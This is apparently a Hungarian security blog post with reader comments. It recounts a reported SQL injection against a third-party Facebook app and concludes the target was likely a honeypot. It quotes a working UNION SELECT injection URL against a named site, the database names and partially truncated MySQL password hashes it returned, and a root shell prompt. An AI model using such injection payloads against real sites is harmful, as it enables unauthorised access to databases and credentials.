Helyesbítés: a poszt készültekor még nem voltam Facebook felhasználó, így tévesen azt feltételeztem, hogy az apps.facebook.com domainen elérhető szolgáltatások is a közösségi oldal infrastruktúrájához tartoznak, miközben ezeken a helyeken valójában mindig külső szervereket látunk.
m1key küldött egy igen érdekes naplót egy Facebookon(!) talált SQL injection sebezhetőségről. A történetet bonyolítja, hogy mire eljutottam a probléma teszteléséig, a varázsparancs már nem működött, viszont idő közben belebotlotam egy másik érdekes dologba is...
A sebezhetőség kihasználására alkalmas lekérdezés valahogy így nézett ki:
http://apps.facebook.com/
newscloud/?p=tweets&o=view&id= 1231+AND+1=2+UNION+ALL+SELECT+ 1,2,3,concat_ws(0x3a,user(),@@ version,datab%E2%80%8Base()), 5,6,7,8,9,10--
Így egy csomó érdekes adathoz hozzá lehet jutni, például:
Database: nc
User: root@localhost
Version: 5.0.32-Debian_7etch8-log
Number of Databases: 22
[0] buzz
[1] chitown
[2] dsn
[3] facebook
[4] ga
[5] genomics
[6] hotdish
[7] kindle
[8] library
[9] minn
[10] mysql
[11] nc
[12] newscloud
[13] obama
[14] phplistdb
[15] research
[16] sea
[17] stuff
[18] uw
[19] vanish
[20] wikidb
[21] zipcodes
Még a DB felhasználók jelszóhashei is lekérhetők:
[0] localhost:root:*
3598E4E4B311... l
[1] host.newscloud.com:root:*3598E4E4B311...
[2] localhost:debian-sys-maint:*AB379D39682...
[3] localhost:daniel:*3D5A714BCA47B...
[4] localhost:russell:*3494B7E8859FB...
[5] localhost:rick:*9367E0F9550CB9A...
[6] localhost:phplistman:*3598E4E4B311...
Vegyük észre, hogy a root@localhost, root@host.newscloud.com és a phplistman@localhost felhasználók jelszava ugyanaz (igen, a maradék is megegyezett...)!
Aztán kaptam még egy passwd fájlt, meg még pár jelszót - tipikus rosszul konfigurált LAMP szerverre utalt a történet, nem ezt várná az ember a Facebooktól. Végül pedig egy aranyos root shell következett:
bt ~ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk), 10(wheel),11(floppy)
bt ~ # uname -a
Linux backtrack 2.6.20-BT-PwnSauce-NOSMP #3 i686 i386 GNU/Linux
Na álljunk meg egy szóra! BackTrack a Facebook alatt?! Egyre gyanúsabb a történet, főleg ha hozzá veszem, hogy mit kaptam eredményül a fenti lekérdezések végrehajtásakor:
Bevallom őszintén, elsőre nem esett le mi folyik itt, pedig még egy tisztán HTML tartalmú .DOC fájl is le készült csorogni a gépemre, aztán persze rájöttem, hogy itt bizony a Decloaking Engine munkálkodik a háttérben! Erről már írtam korábban, lényegében egy olyan módszergyűjteményről van szó, mellyel bizonyos körülmények között (pl. beépülő Word és iTunes pluginek esetén) meg lehet tudni egy webjúzer valódi IP címét akkor is, ha böngészőjével proxyn keresztül csatlakozik az adott weboldalhoz.
Valószínűleg tehát az történt, hogy a facebookos kollegák kiszúrták a cselt, és hamar felhúztak egy honeypotot a sebezhető(nek vélt) felület mögé, hogy minél több információt szerezzenek a kellemetlen látogatóról. A fent látható BackTrack kernelre azt tippelem, hogy a Damn Vulnerable Linux disztribúcióhoz tartozik, ami egy BT alapú, sebezhetőségekkel direkt teletűzdelt összeállítás.
Végső soron tehát nem tudhatjuk biztosan, hogy a fenti információk közül melyik tartozik a valódi Facebook rendszerhez, az is lehet, hogy már az első lépés is a mézesbödönbe vezetett. Az eset minden esetre szép példája a proaktív védekezésnek, és felhívja a figyelmet arra is, hogy nem minden arany, ami fénylik. m1key sajnos ezúttal a tragikus sorsú felfedezők útját követte, de ez a kockázat megvan minden kísérletben, reméljük minél többen tanulnak az esetből!
DrMcKay 2009.11.30. 13:34:23
HoaxSpecialist · http://hacker.blog.hu 2009.12.01. 07:18:22
bar az eleje meg lehet valid is. sajnos ezt az infot mar nem tudjuk meg :)))
hacsak.. :P